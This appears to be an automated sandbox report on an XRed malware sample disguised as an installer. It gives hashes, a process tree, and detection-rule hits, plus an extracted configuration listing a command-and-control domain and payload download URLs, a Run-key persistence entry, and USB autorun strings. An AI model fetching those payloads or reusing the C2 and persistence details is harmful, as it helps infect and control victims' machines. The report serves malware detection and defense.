Edit tour

Windows Analysis Report
Dzsb.Qyd.Install.exe

Overview

General Information

Sample name:	Dzsb.Qyd.Install.exe
Analysis ID:	1556405
MD5:	8f6f7010f18c00958433f02d47130dd1
SHA1:	96420693a48930b1420dca7c5d02792ea7009693
SHA256:	f20191f25cc57ee5c30328a5bd3821788d8db2ed60901f728122d596185fc651
Infos:

Detection

XRed

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected XRed

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses dynamic DNS services

AV process strings found (often used to terminate AV products)

Creates a process in suspended mode (likely to inject code)

Document contains an embedded VBA macro which executes code when the document is opened / closed

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the installation date of Windows

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Classification

Process Tree

System is w10x64_ra

Dzsb.Qyd.Install.exe (PID: 7060 cmdline: "C:\Users\user\Desktop\Dzsb.Qyd.Install.exe" MD5: 8F6F7010F18C00958433F02D47130DD1)

._cache_Dzsb.Qyd.Install.exe (PID: 7148 cmdline: "C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe" MD5: 2CE4CD44B3F4B4527FF1BA1D40B3C6BC)

Synaptics.exe (PID: 3588 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: 921D4ED8B1BD7EFFC64D14DF5204C817)

WerFault.exe (PID: 4252 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 2896 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 5892 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 4592 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

rundll32.exe (PID: 1948 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

Synaptics.exe (PID: 6056 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: 921D4ED8B1BD7EFFC64D14DF5204C817)

WerFault.exe (PID: 548 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6056 -s 6328 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 4104 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

cleanup

Malware Configuration

Threatname: XRed

{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Dzsb.Qyd.Install.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
Dzsb.Qyd.Install.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\ProgramData\Synaptics\RCXE0B2.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCXE0B2.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Documents\DUUDTUBZFW\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\DUUDTUBZFW\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Documents\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1244560230.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.1244560230.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000003.00000003.1274914579.0000000000694000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: Dzsb.Qyd.Install.exe PID: 7060	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: Synaptics.exe PID: 3588	JoeSecurity_XRed	Yara detected XRed	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Dzsb.Qyd.Install.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
0.0.Dzsb.Qyd.Install.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 13.107.246.45, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 5892, Protocol: tcp, SourceIp: 192.168.2.16, SourceIsIpv6: false, SourcePort: 49781

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.16, DestinationIsIpv6: false, DestinationPort: 49781, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 5892, Protocol: tcp, SourceIp: 13.107.246.45, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe, ProcessId: 7060, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 3588, TargetFilename: C:\Users\user\AppData\Local\Temp\I9FyyXRL.xlsm

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T11:24:40.556228+0100	2028371	3	Unknown Traffic	192.168.2.16	49781	13.107.246.45	443	TCP
2024-11-15T11:24:48.608299+0100	2028371	3	Unknown Traffic	192.168.2.16	49816	13.107.246.45	443	TCP

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T11:23:35.970223+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49708	142.250.186.78	443	TCP
2024-11-15T11:23:36.016711+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49709	142.250.186.78	443	TCP
2024-11-15T11:23:37.221878+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49712	142.250.186.78	443	TCP
2024-11-15T11:23:37.282448+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49714	142.250.186.78	443	TCP
2024-11-15T11:23:38.477084+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49719	142.250.186.78	443	TCP
2024-11-15T11:23:38.512493+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49720	142.250.186.78	443	TCP
2024-11-15T11:23:39.997079+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49728	142.250.186.78	443	TCP
2024-11-15T11:23:40.003936+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49727	142.250.186.78	443	TCP
2024-11-15T11:23:41.223641+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49733	142.250.186.78	443	TCP
2024-11-15T11:23:41.224036+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49735	142.250.186.78	443	TCP
2024-11-15T11:23:42.466260+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49738	142.250.186.78	443	TCP
2024-11-15T11:23:42.466655+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49737	142.250.186.78	443	TCP
2024-11-15T11:23:43.988205+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49746	142.250.186.78	443	TCP
2024-11-15T11:23:43.991183+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49747	142.250.186.78	443	TCP
2024-11-15T11:23:45.225404+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49753	142.250.186.78	443	TCP
2024-11-15T11:23:45.235927+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49751	142.250.186.78	443	TCP
2024-11-15T11:23:46.440222+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49755	142.250.186.78	443	TCP
2024-11-15T11:23:46.447453+0100	2044887	1	A Network Trojan was detected	192.168.2.16	49756	142.250.186.78	443	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T11:23:36.267286+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.16	49711	69.42.215.252	80	TCP
2024-11-15T11:24:38.185016+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.16	49771	69.42.215.252	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Dzsb.Qyd.Install.exe	Avira: detected
Source: Dzsb.Qyd.Install.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/Synaptics.rarZ	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SUpdate.iniZ	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/Synaptics.rarX	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dl4	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dll6	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\ProgramData\Synaptics\RCXE0B2.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCXE0B2.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\Documents\DUUDTUBZFW\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\DUUDTUBZFW\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Found malware configuration

Source: Dzsb.Qyd.Install.exe

Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\RCXE0B2.tmp	ReversingLabs: Detection: 87%
Source: C:\Users\user\Documents\DUUDTUBZFW\~$cache1	ReversingLabs: Detection: 87%
Source: C:\Users\user\Documents\~$cache1	ReversingLabs: Detection: 87%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.2% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\Synaptics\RCXE0B2.tmp	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\DUUDTUBZFW\~$cache1	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\~$cache1	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Dzsb.Qyd.Install.exe

Joe Sandbox ML: detected

Source: Dzsb.Qyd.Install.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.16:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.16:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.16:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.16:49852 version: TLS 1.2

Source:

Binary string: d:\CSharp\Dzsb.Qyd\Dzsb.Qyd.Install\Debug\Dzsb.Qyd.Install.pdb source: Dzsb.Qyd.Install.exe, Synaptics.exe.0.dr, ._cache_Dzsb.Qyd.Install.exe.0.dr

Source: Dzsb.Qyd.Install.exe, 00000000.00000000.1244560230.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: Dzsb.Qyd.Install.exe, 00000000.00000000.1244560230.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: Dzsb.Qyd.Install.exe, 00000000.00000000.1244560230.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000003.00000003.1274914579.0000000000694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000003.00000003.1274914579.0000000000694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000003.00000003.1274914579.0000000000694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: Dzsb.Qyd.Install.exe	Binary or memory string: [autorun]
Source: Dzsb.Qyd.Install.exe	Binary or memory string: [autorun]
Source: Dzsb.Qyd.Install.exe	Binary or memory string: autorun.inf
Source: RCXE0B2.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXE0B2.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXE0B2.tmp.0.dr	Binary or memory string: autorun.inf
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: autorun.inf
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: autorun.inf
Source: ~$cache1.20.dr	Binary or memory string: [autorun]
Source: ~$cache1.20.dr	Binary or memory string: [autorun]
Source: ~$cache1.20.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 8MB later: 71MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.16:49711 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.16:49771 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49712 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49709 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49714 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49728 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49720 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49719 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49727 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49708 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49746 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49753 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49756 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49735 -> 142.250.186.78:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) : 192.168.2.16:49738 -> 142.250.186.78:443
